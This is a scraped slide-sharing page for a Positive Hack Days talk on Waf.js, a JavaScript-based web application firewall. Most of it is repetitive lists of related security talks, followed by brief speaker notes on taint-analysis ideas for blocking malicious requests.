Современные DDoS-атаки: тенденции, опасность, подходы к защитеPositive Hack Days
 
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Positive Hack Days
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защитеСовременные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защитеPositive Hack Days
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Positive Hack Days
 
Боремся с читингом в онлайн-играх
Боремся с читингом в онлайн-играхБоремся с читингом в онлайн-играх
Боремся с читингом в онлайн-играхPositive Hack Days
 
DNS как линия защиты/DNS as a Defense Vector
DNS как линия защиты/DNS as a Defense VectorDNS как линия защиты/DNS as a Defense Vector
DNS как линия защиты/DNS as a Defense VectorPositive Hack Days
 
Damn Vulnerable Chemical Process
Damn Vulnerable Chemical ProcessDamn Vulnerable Chemical Process
Damn Vulnerable Chemical ProcessPositive Hack Days
 
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...Positive Hack Days
 

En vedette (20)

Строим ханипот и выявляем DDoS-атаки
Строим ханипот и выявляем DDoS-атакиСтроим ханипот и выявляем DDoS-атаки
Строим ханипот и выявляем DDoS-атаки
 
Применение виртуализации для динамического анализа
Применение виртуализации для динамического анализаПрименение виртуализации для динамического анализа
Применение виртуализации для динамического анализа
 
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
 
Обратная разработка бинарных форматов с помощью Kaitai Struct
Обратная разработка бинарных форматов с помощью Kaitai StructОбратная разработка бинарных форматов с помощью Kaitai Struct
Обратная разработка бинарных форматов с помощью Kaitai Struct
 
Перехват беспроводных гаджетов — от квадрокоптеров до мышек
Перехват беспроводных гаджетов — от квадрокоптеров до мышекПерехват беспроводных гаджетов — от квадрокоптеров до мышек
Перехват беспроводных гаджетов — от квадрокоптеров до мышек
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDL
 
200 open source проектов спустя: опыт статического анализа исходного кода
200 open source проектов спустя:опыт статического анализа исходного кода200 open source проектов спустя:опыт статического анализа исходного кода
200 open source проектов спустя: опыт статического анализа исходного кода
 
Защищенность GSM
Защищенность GSMЗащищенность GSM
Защищенность GSM
 
Как «вправить» автомобилю «мозги»
Как «вправить» автомобилю «мозги»Как «вправить» автомобилю «мозги»
Как «вправить» автомобилю «мозги»
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защитеСовременные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защите
 
Attacks on SAP Mobile
Attacks on SAP MobileAttacks on SAP Mobile
Attacks on SAP Mobile
 
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защитеСовременные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защите
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!
 
Боремся с читингом в онлайн-играх
Боремся с читингом в онлайн-играхБоремся с читингом в онлайн-играх
Боремся с читингом в онлайн-играх
 
DNS как линия защиты/DNS as a Defense Vector
DNS как линия защиты/DNS as a Defense VectorDNS как линия защиты/DNS as a Defense Vector
DNS как линия защиты/DNS as a Defense Vector
 
Выживший
ВыжившийВыживший
Выживший
 
Damn Vulnerable Chemical Process
Damn Vulnerable Chemical ProcessDamn Vulnerable Chemical Process
Damn Vulnerable Chemical Process
 
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
 

Similaire à Waf.js: как защищать веб-приложения с использованием JavaScript

11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.revisium
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Fwdays
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюкkuchinskaya
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковYandex
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...Dmitry Evteev
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2GoQA
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPITimur Shemsedinov
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Ontico
 

Similaire à Waf.js: как защищать веб-приложения с использованием JavaScript (20)

11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Node.js введение в технологию, КПИ  #ITmeetingKPINode.js введение в технологию, КПИ  #ITmeetingKPI
Node.js введение в технологию, КПИ #ITmeetingKPI
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
 
Жизнь без SDL
Жизнь без SDLЖизнь без SDL
Жизнь без SDL
 

Plus de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Waf.js: как защищать веб-приложения с использованием JavaScript

Notes de l'éditeur

  1. #Идея taint-анализа: sources, sinks, запрещенные информационные потоки #На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты #Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов
  2. #Идея taint-анализа: sources, sinks, запрещенные информационные потоки #На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты #Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов